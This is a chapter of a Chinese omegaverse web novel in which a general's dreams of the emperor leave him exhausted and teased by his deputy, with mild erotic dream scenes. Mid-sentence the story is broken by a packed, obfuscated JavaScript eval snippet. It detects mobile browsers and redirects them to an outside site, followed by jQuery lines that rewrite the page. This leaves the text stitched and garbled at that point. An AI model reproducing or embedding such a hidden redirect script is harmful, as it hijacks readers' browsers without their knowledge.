金龙幻化成光团撞向叶无忧小腹。
叶无忧陡然惊醒。
环顾四周,漆黑的营帐内透进营地篝火的微光,叶无忧坐在满是青竹香的被褥间,四周不是什么水潭,也没有什么龙。
豆大的汗滴顺着脖颈滑落,叶无忧扶着面颊大口喘息换气,空闲的左手仍下意识地搭在腹前。缓过气没多久,梦里的记忆就已经变得模糊不清,叶无忧拧紧眉回忆,只依稀记得骑着金龙穿梭云海的肆意感觉。
靴子践过碎石的声音传来,叶无忧抬起头看向营帐外,巡营的哨兵一个接一个地举着火把路过,火光投射进营帐的黑影晃着叶无忧休憩的床被,一下一下,和初夏刚有的虫鸣声一起,搅得叶无忧心烦意乱。
梦里的小金龙可真漂亮,像陛下一样。
龙都骑上了,他果然对陛下色心不减……
天还没亮,叶无忧随便抱起一件里衣倒回那片青竹香内,又开始对萧允安想入非非。
不出意外,叶无忧又睡过了头。
已经连续两日缺席练兵的叶无忧打着哈欠懒洋洋晃在营中,和正在休息的士兵们一个个打招呼,明明昨夜睡得很好,但叶无忧感觉四肢都好像被灌了铅一般地沉重。
醒得太晚,叶无忧揉着小腹,感觉自己饿得有点胃疼。
快到中饭的时辰了,叶无忧搭上杨棯的肩,拖着人一块往御厨忙碌的灶台走,叶无忧看上去整个人都萎靡不振,好似吸干了精气般面色暗黄。
……肾虚。
杨棯并非专修医术,但多少懂点,他看叶无忧如此疲态,欲言又止。
“杨棯你想说什么就说,别这么看着本将军,瘆得慌……”叶无忧悻悻收回手,主动离杨棯一米远。
“将军身处军营,身体要紧,万一敌军又趁机突袭,刀枪都提不起来,还需节制为上。”杨棯文邹邹吐出一串叽里呱啦的字。
叶无忧头皮乱蹦:“说人话!”
杨棯:“你肾虚。”
叶无忧:“……?”
叶无忧望向杨棯的神情变得很警惕,他的营帐夜间一般不会有人潜入,但四通八达的营地……隔音的确不好,叶无忧回想这一个月来梦见陛下的次数,面色变得格外精彩。
“……你听见了多少?”叶无忧和杨棯再不见外,也不好意思起来,他咬住大拇指指甲闷声询问。
因为是梦,叶无忧对陛下格外放肆,嘴里一点把门都没有,多淫.浪的话都敢出口,就喜欢看梦里陛下被逗得面红耳赤又对他无能为力的姿态,他前几日对萧允安又啃又咬,吃定了就咬死不放……若是在梦里说的话变成无意识的梦呓喘出声——
叶无忧倒吸一口凉气。
杨棯不语,神在在抬头晃了晃脑袋,叶无忧的凉气又吸一大口,他后知后觉捂住了酸软的后腰。
叶无忧大惊:“……不止你一人听见?!”
难怪刚才路过擦卸兵甲的士兵时,他们面色怪怪的!
“那没有。”叶无忧果然有事瞒着,杨棯抬眼,“刚才是诈你。”
但这会再说实话,叶无忧反而不信了,他感觉杨棯一定听见了什么不得了的话!
叶无忧沉下脸加快脚步,但没走两步又走回杨棯面前戳住人胸甲,哑声威胁:“无论听见什么,你都藏在心底当什么都不知道!不然到时候陛下怪罪下来,你和我都要掉脑袋!”
究竟听见了那句话?还是都听见了?啊啊啊啊啊好想把杨棯灭口!!!
“……当了你副将后,光是欺君的罪名都够我的狼窝被诛一轮了。”杨棯摸不着头脑地推开叶无忧,刚抬头就看见叶将军像小狼似地绿着眼瞪自己,“叶勉你这么紧张,又欺瞒了圣上什么事?”
叶无忧苦大仇深地看了眼杨棯,没在杨棯脸上看出破绽,便一溜烟似地卷到御厨跟前,捏住一个大白馒头叼嘴里,顺手也给杨棯塞了一个。
叶无忧红着耳朵,梗着个脖子:“本将军的私事!身为副将不该问的别问!”
杨棯扭头就走,叶无忧简直莫名其妙!
心虚的叶无忧不知杨棯知情了多少,又摸俩馒头跟上去,去拽杨棯护甲。
“杨大夫医者仁心,都看出来了那给本将军调理调理。”叶无忧也要面子,思念陛下到肾虚这种事情少一个大夫知道算一个,杨棯是知道他坤者身份的少数人之一,在调养身体这方面,他也信得过。
叶无忧朝杨棯伸出手,示意副将把脉。
“将军的私事我不过问,但你胡闹也该看看这是哪里?叶勉你看你现在这个样子,虚得显上面相,晨练也连着缺席两日,敌军来袭的话,你还能拎的动长枪?”杨棯误以为叶无忧在军营内乱搞,重重拍开叶无忧的手,不顺着他。
先是馒头恩人,京都还有个馒头美人,叶无忧现在又不知寻了谁做乐子,在军营内明目张胆地荒淫无度 ,兵都不练了,还捂的严严实实——杨棯自然不肯再帮叶勉一个渣坤去负心。
虚死算了!
“这是军营!将军您先把不该存续的关系断了再来找末将!”官高一级压死人,杨棯气到肩膀都在颤,他不甘心地从叶无忧手里抢了俩馒头愤愤离去。
——
叶无忧就好这口大白馒头。
御厨到军营后,叶无忧的胃口越发地好,才十来天就吃出了小肚子,叶无忧蜷在床褥间的青竹香内,满足地揉着微微鼓起的小腹。
被杨棯一通教训,叶无忧幡然醒悟,清心寡欲了许多天,梦里的景象也意外正常不少,床褥上只有陛下的里衣如旧。
断是不可能断的,他肖想陛下这么多年,好不容易才吃到手,掉脑袋前肯定要吃到够。
他又梦见萧郎了。
这回,叶无忧进了御书房,萧允安正伏在桌前处理奏折。
不愧是陛下!在梦里都如此勤勉,不忘政事。
“陛下辛苦,臣为陛下捏捏。”叶无忧轻手轻脚绕到萧允安身后,一对爪子鬼鬼祟祟搭上萧允安的肩。
“又是你!”比叶无忧的脸先飘过来的是暧昧的寒梅信香,萧允安黑脸拿起一册竹简砸向叶无忧。
“……您嫌弃臣。”叶无忧挤出一滴伤心泪。
萧允安心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656184|172871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一颤,举起的手悠悠放回身侧。
好一个采花贼,这么快就进化到拿捏圣心了。
“你又想做什么?”萧允安拢紧身上玄袍。
“臣就想赖在陛下怀里说说话。”叶无忧放肆地拢过萧允安的脖颈,倒在萧允安腿上,没什么肉的屁股蹭来蹭去找好位置,叶无忧没闻见自己想要的青竹信香,扯开萧允安领子,恭敬地说,“劳烦陛下您放个味。”
“别乱动!”萧允安咬牙抓住叶无忧扯领子的手,朝着乱动的屁股就是一巴掌。
“您不方便臣自己咬也行。”不止没闻见青竹香,屁股还挨了一巴掌,叶无忧朝萧允安无辜眨眼。
乾君压制意味的青竹信香不要钱一般往叶无忧身上染,叶无忧腰立刻又软了,他直不起身,干脆就靠在陛下胸膛前,用身上的寒梅信香去安抚自己这位脾气不算太好的乾君。
“臣错了,是臣无礼,陛下消气。”叶无忧细声细气低喘着安抚萧允安,在标记过自己的乾君信香作用下,完全不做任何抵抗的叶无忧很快就软成一滩水,叶将军眼尾迷离,靠在陛下怀里的叶无忧从头到脚都写着“任由陛下妄为”六字。
“淫贼!浪荡!”萧允安忍住想掐死采花贼的手,往叶无忧身上不该乱立的其他地方按。
萧允安的大手盖下来,叶无忧却又突然想起杨棯的警告,他捂住发紧的小腹,紧张道:“陛下,杨棯说臣都肾虚了,您莫要招我。”
是谁招谁?!
杨棯又是谁?!
无论多少次,萧允安良好的修养还是会被时不时闯进梦里的采花贼震惊。
御桌前的龙椅上,两人的信香逐渐交融,叶无忧缠紧萧允安的腰不肯离开,萧允安又红了眼捏着叶无忧脚踝厉声呵斥:“你最好藏好些,别让朕抓住你。”
“那好吧,就一次。”闻了这么久青竹信香,叶无忧也早就忍不住了,他迫不及待抬头吻上萧允安的唇,和陛下紧紧相贴的地方,全都跟着主人一块,忍无可忍,一塌糊涂。
……………
一夜安好,叶无忧又好几天没再梦见萧允安,他在梦里被迫清心寡欲后,叶无忧却还是嗜睡,从杨棯说他肾虚那日后起,平日天擦亮就能准时睁眼的叶将军,现在每天都要靠着极大的毅力才能踩点到队伍前。
叶无忧身着盔甲,迷迷糊糊喊着操练的口号,又一拳劲风贴脸擦过,叶无忧僵在原地,眼睁着,意识却已经飘向周公。
杨棯第一时间察觉不对,叶无忧再不着调,也不会拿战事和练兵开玩笑,前几日他见叶无忧面色不佳,以为是叶无忧胡闹,但连续一周都是如此的话……杨棯准备等会去找叶无忧聊聊。
叶无忧今天歪歪扭扭走的几步路,简直不堪入目,就连站在队伍最末充数的御厨都比他精神不少。
“将军!”杨棯没好气地走过去,叶无忧一个哆嗦惊醒。
“啊!继续!”叶无忧揉揉眼,强打精神吼出一嗓子。
不到一刻钟,剧情重演。
杨棯:“……”
奇了怪了!太阳从西边升起来了!